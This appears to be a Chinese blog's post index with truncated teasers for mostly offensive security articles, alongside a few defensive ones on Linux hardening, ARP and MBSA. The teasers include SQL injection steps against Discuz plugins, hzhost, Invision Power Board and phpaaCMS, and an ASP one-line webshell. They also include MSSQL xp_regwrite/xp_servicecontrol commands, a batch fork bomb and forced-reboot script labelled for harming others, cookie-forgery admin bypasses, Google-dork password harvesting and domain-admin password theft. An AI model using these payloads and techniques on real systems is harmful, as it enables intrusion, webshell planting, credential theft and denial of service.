-
AT命令默认是用system权限在运行的，所以不要用AT命令来做磁盘映射之类的。
可以用schtasks命令来代替AT
http://technet.microsoft.com/zh-cn/library/cc772785(WS.10).aspx#BKMK_days
-
1.upload/upload_p_w_picpath.asp、Mutiupload_p_w_picpath.asp。从cookie中取得userid，放在session中，作为path。 ASP/Visual Basic代码 1. loadsrc="/UploadFile/"&Request.Cookies("UserID")&"/" '如果网站不是放在跟目录下
-
只讲两个要点。 第一，如何拿网站管理员权限。 第二，如何备份***。 这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！
-
简单说下利用的方法吧。 点击图片上传后会出现上传页面，地址为
http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后，地址为 http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=
-
Invision Power Board是一款使用广泛的基于WEB的程序。
Invision Power Board存在输入验证漏洞，远程***者可能利用此执行SQL注入***。
由于没能正确的过滤用户提供的数据，***者可能通过在st参数中插入SQL指令在主机上执行SQL注入***。
受影响系统：Invision PS Invision Board 1.3.1 FinalInvis
-
漏洞的发现来自于对某站的***，由于其discuz版本为7.0，所以我只能把眼光聚焦在了它所安装的第三方插件上。
经过简单的测试，就发现了《虚拟股市》存在注射漏洞： http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 http://www.target.com/plugin.php
-
第一种方法：
先注册个用户然后把
<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">帖子ID，指定一个存在的帖子即可：<input type="text" name="tid" value="1" /><in
-
发布时间:2010-02-05 影响版本: Discuz!7.0-7.2漏洞描述: 漏洞详情： if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) { $ucdbpassnew = $se
-
漏洞文件：adminlogin.php
代码： <?php
include("common.php"); if (!empty($_POST['password'])) { $username = $_POST['username']; $password = $_
-
偶然路过一个php的站，由于自己很少对PHP有研究所以马虎的看了看是phpaaCMS ，不是大型的CMS，习惯性的在后面加了个“'”，没想到爆错了！
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to
-
任意文件当做***来运行
更改exe为gif： @echo off color 1A ECHO Windows Registry Editor Version 5.00>gif.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg ECHO "Content Type"="application/x-msdown
-
无论你是Linux的普通桌面用户还是管理多个服务器的系统管理员，你都面临着同样的问题：日益增加的各种威胁。Linux是一个开放式系统，可以在网络上找到许多现成的程序和工具，这既方便了用户，也方便了***，因为他们也能很容易地找到程序和工具来潜入Linux系统，或者盗取Linux系统上的重要信息。不过，只要我们仔细地设定Linux的各种系统功能，并且加上必要的安全措施，就能让***们无机可乘。
一
-
尝试在NB里面恢复CMDSHELL、OACREAT都没有成功，所以开启SQLSERVERAGENT
;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--还是没有成功，无奈之中希望寄托于沙盒模式，执行如下语句开启沙盒模式
;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTW
-
生成树*** 生成树协议(STP)可以防止冗余的交换环境出现回路。要是网络有回路，就会变得拥塞不堪，从而出现广播风暴，引起MAC表不一致，最终使网络崩溃。 使用STP的所有交换机都通过网桥协议数据单元(BPDU)来共享信息，BPDU每两秒就发送一次。交换机发送BPDU时，里面含有名为网桥ID的标号，这个网桥ID结合了可配置的优先
-
首先知道 execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute request("a")%>可以这样来解释： <% if request("a")<>"" then execute request("a") %>&
-
目前，许多用户因业务发展需要不断更新，从而造成环境差异较大，整个网络系统平台参差不齐，在服务器端大多使用Linux和Unix，桌面端使用Windows xp/Vista，所以在企业应用中往往是Linux/Unix和Windows操作系统共存形成异构网络。Linux中的Samba就是常用于Linux/Windows合组网下的文件服务器，这样Samba服务器的安全问题就凸显出来了。本文从Samba的访
-
一、 ARP欺骗的原理
在局域网中，同一子网中的两台计算机通信的建立实际上是通过MAC地址来完成的，所以两台计算机通信前必须将IP地址转换MAC地址，这个过程是由ARP协议完成的。如IP为192.168.0.10的计算机A想要和IP为192.168.0.8的计算机B通信，就会向整个网络发送一个广播（ARP REQUEST）大致内容为：“大家好，我的IP是 192.168.0.10,我的
-
无线局域网被认为是一种不可靠的网络，除了加强网络管理以外，更需要测试设备的构建、实施、维护和管理。
尽管IT的寒冬还未渡过，但WLAN以其便利的安装、使用，高速的接入速度，可移动的接入方式赢得了众多公司、政府、个人以及电信运营商的青睐。但WLAN中，由于传送的数据是利用无线电波在空中辐射传播，无线电波可以穿透天花板、地板和墙壁，发射的数据可能到达预期之外的、安装在不同楼层、甚至是发射机所在的
-
利用google 半秒破 500 網！利用google 半秒破 500 網！其實 google 搜尋器變了駭客工具也不是新聞，老手早亦用到，新手的也可來試試。 只要將以下 字串 作搜尋的話，你都得到很多密碼， 當然若要得心應手便需要更多研究及借助其他軟件， 但初步先懂得去找。
------------------------------------------------------------
-
利用google照样可以对一个站点进行信息收集和***的，下面我们用google对特定站点进行一次测试。 ------------------------------------------------首先用google先看这个站点的一些基本情况(一些细节部分就略去了): site:xxxx.com 从返回的信息中，找到几个该校的几个系院的域名： http//a1.xxxx.comhttp//a2.
-
如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像●net group "domain admins" /domain●可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代
-
最近腾讯分站被“黑”的消息有蛮人多关注的，某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题!
大家都想像得到要黑腾讯这类大站找个明显的漏洞(包括注入)是很难的了，就算注入出密码肯定也加密了，解开了都不一定能找到后台拿shell，必境人家也是有相关的安全部门维护着！上传？除了后台
-
GHOST是一个硬盘拷贝软件，它的原理就是将整个硬盘或者某些分区作映像保存，也可以将文件还原到硬盘上，恢复到硬盘前的状态。它具有安全、快速、保密性强、压缩率高、兼容性好等特点,特别适合电脑新手和担心操作麻烦的人使用。应用GHOST最核心的问题就是保证自己的硬盘映像是无毒的，最优化的且最适合自己的，如何才能做到这点呢？下面的介绍帮您解决这个问题。1． 在我们接手一台新电脑后，首先要找一张干
-
收集：X.DW's blog链接：http://hi.baidu.com/hkxdw第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0
就这3行了
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:\1.txt echo. >c:\1.txt & goto err1if not exist c:\2.txt echo
-
版本:ESCMS V1.0 SP1 Build 1125 后台登陆验证是通过admin/check.asp实现的,看代码 <% if Request.cookies(CookiesKey)("ES_admin")="" then ''注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不
-
当我们使用迅雷下载东西的时候，会调用我们安装迅雷后一个htm文件，去激活htm文件里的一些代码，把我们所下载东西添加到列表当中。 所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm 一处是C:\Program Files\Thunder Network\Thunder\Program\getAllur
-
ownum 真的是很好的东西，现在大多数用于存储过程分页. 但怎么用呢？这就来研究一下。
--- 以下为转载之处，仅供学习
对于rownum来说它是 oracle系统顺序分配为从查询返回的行的编号，返回的第一行分配的是1，第二行是2，依此类推，这个伪字段可以用于限制查询返回的总行数，而且 rownum不能以任何表的名称作为前缀。举例说明：例如表：student(学生)表，表结构为：ID &
-
本文的目标是一国内知名公司的网络，本文图片、文字都经过处理，均为伪造，如有雷同，纯属巧合。最近一个网友要我帮他拿他们公司内网一项重要的文件，公司网络信息朋友都mail给我了，这些信息主要是几张网络拓扑图以及在内网嗅探到的信息（包括朋友所在的子网的设备用户名及密码等信息……）。参照以上信息总体整理了一下***的思路，如果在朋友机器安装***，从内部连接我得到一个CMD Shell，须要精心伪装一些信息还
-
Windows服务器管理员们一直在关注系统安全和补丁更新的问题，如何更合理的安装补丁也是系统维护的重要组成部分，本文就介绍一个微软的官方安全工具，无论个人还是网管都可以使用它来更好的检测系统存在的漏洞和安全隐患。MBSA主要功能作为一名Windows服务器网管，不可避免的需要对操作系统软件进行安全性维护，但是现代软件系统特别是系统软件的复杂程度远远超出了一般网络维护人员的知识范畴。因此为了能够让W
-
此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：
<?php
$sUsername = "admin"; $sPassword = "admin";
$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||5
小王
分享到朋友圈
- 关注技术：****** 华为技术 网络监控
- 入住博客：2005-11-05 15.5年
